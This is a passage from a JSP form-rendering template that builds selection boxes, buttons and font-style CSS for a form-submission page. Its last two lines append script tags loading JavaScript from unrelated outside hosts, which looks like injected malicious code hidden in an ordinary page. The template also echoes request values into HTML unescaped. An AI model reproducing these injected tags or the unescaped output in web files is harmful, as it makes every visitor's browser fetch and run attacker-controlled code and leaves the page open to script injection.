                    else if(FormElementType.ELEMENT_SELECTION_BOX.equals(tmpFormElement.getElementType())){
                        if(k==0){
        %>
                <select name='<%=fieldName%>'
        <%
        			if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode())) {
        			  out.write(" disabled ");
        			}
        %>
                >
        <%
                        }
        %>
                <option value='<%=tmpFormSelectionFieldOption.getStartValue()%>'
        <%
                        if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() ) ) {
                            if (!Utility.isEmpty(request.getParameter(fieldName)) && request.getParameter(fieldName).equals(tmpFormSelectionFieldOption.getStartValue()) ) {
                                out.write(" selected ");
                            } else if (!Utility.isEmpty(elementValue) && elementValue.equals(tmpFormSelectionFieldOption.getStartValue()) ) {
                                out.write(" selected ");
                            }
                        } else if(tmpFormElement.getDefaultValue()!=null && tmpFormElement.getDefaultValue().equals(tmpFormSelectionFieldOption.getStartValue())){
                            out.write(" selected ");
                        }
        %>
                    /><%=tmpFormSelectionFieldOption.getLabel()%></option>
        <%
                    if(k==formSelectionFieldOptionList.size()-1){
        %>
                </select>
        <%
                    }
                }
                //END SELECTION BOX
            }
        }
    } // End if any selection type
%>
            </td>
        </tr>
        <%} // End looping elements %>
        </table><br><br>
        <!--END SectionID<%=tmpFormSection.getID()%>-->
<%}  //  End looping section %>
<!--########################### Page <%=pp%> Table End ############################### -->
<%}  // End looping page %>
    </td>
  </tr>
</table>

<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->

    <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>

  <tr>
    <td colspan="2" align="center"><br>
<%  if(sPreviewValue == null && !GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )){  %>
            <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
<%  } else if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {%>
                        <%if (("FORMTRACKING".equals(request.getParameter("function")) ||
                                    "FORMMONITOR".equals(request.getParameter("function"))) &&
                                    !GlobalConstant.OP_MODE_DELETE.equals(maintFormSubmissionForm.getOpMode()) ) {%>
                        <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete()"/>
                        <%} else {%>
                        <%}%>
<%  }else{  %>
<%}%>
    </td>
  </tr>
</table>
</td></tr></table>
</html:form>

<%!
private String resolveFontStyle(String fontStyle, String fontSize, String fontType, String fontColor){
    Integer size = null;
    if(!Utility.isEmpty(fontSize)){
        size = Integer.valueOf(fontSize);
    }
    return resolveFontStyle(fontStyle, size, fontType, fontColor);
}

private String resolveFontStyle(String fontStyle, Integer fontSize, String fontType, String fontColor){
    StringBuffer style = new StringBuffer();
    if(!Utility.isEmpty(fontStyle)){
        if (fontStyle.indexOf("B")>-1) {
          style.append("font-weight: bold;");
        }
        if (fontStyle.indexOf("U")>-1) {
          style.append("text-decoration: underline;");
        }
        if (fontStyle.indexOf("I")>-1) {
          style.append("font-style: italic;");
        }
    }
    if (!Utility.isEmpty(fontSize) && (fontSize.intValue() > 0)){
        style.append("font-size:"+fontSize.intValue()+"pt;");
    }
    if (!Utility.isEmpty(fontType)) {
        style.append("font-family:"+MessageResourcesFactory.getMessage(null, "form.label.element_fonts_"+fontType)+";");
    }
    if (!Utility.isEmpty(fontColor)) {
        style.append("color:"+fontColor+";");
    }
    return style.toString();
}
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>